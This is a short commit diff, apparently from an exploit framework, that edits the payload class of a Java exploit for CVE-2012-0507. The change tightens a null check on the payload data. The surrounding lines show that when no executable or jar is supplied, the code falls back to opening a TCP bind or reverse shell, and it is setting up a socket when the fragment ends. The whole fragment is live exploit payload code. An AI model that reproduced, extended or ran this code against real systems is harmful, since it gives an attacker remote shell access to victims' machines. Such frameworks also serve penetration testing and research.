Add checks for data being null, too, just in case

external/source/exploits/CVE-2012-0507/msf/x/PayloadX.java

@@ -91,8 +91,10 @@ public class PayloadX implements PrivilegedExceptionAction
 			//System.out.println("OS: " + os);
 			// if we have no native payload to drop and execute we default to
 			// either a TCP bind or reverse shell.
-			if( PayloadX.data != null && PayloadX.data.length() == 0 && PayloadX.jar.length() == 0 )
-			{
+			if(
+					(PayloadX.data == null || PayloadX.data.length() == 0) &&
+					(PayloadX.jar  == null || PayloadX.jar.length() == 0)
+			) {
 				//System.out.println("no, exe/jar. Doing shell");
 				Socket client_socket = null;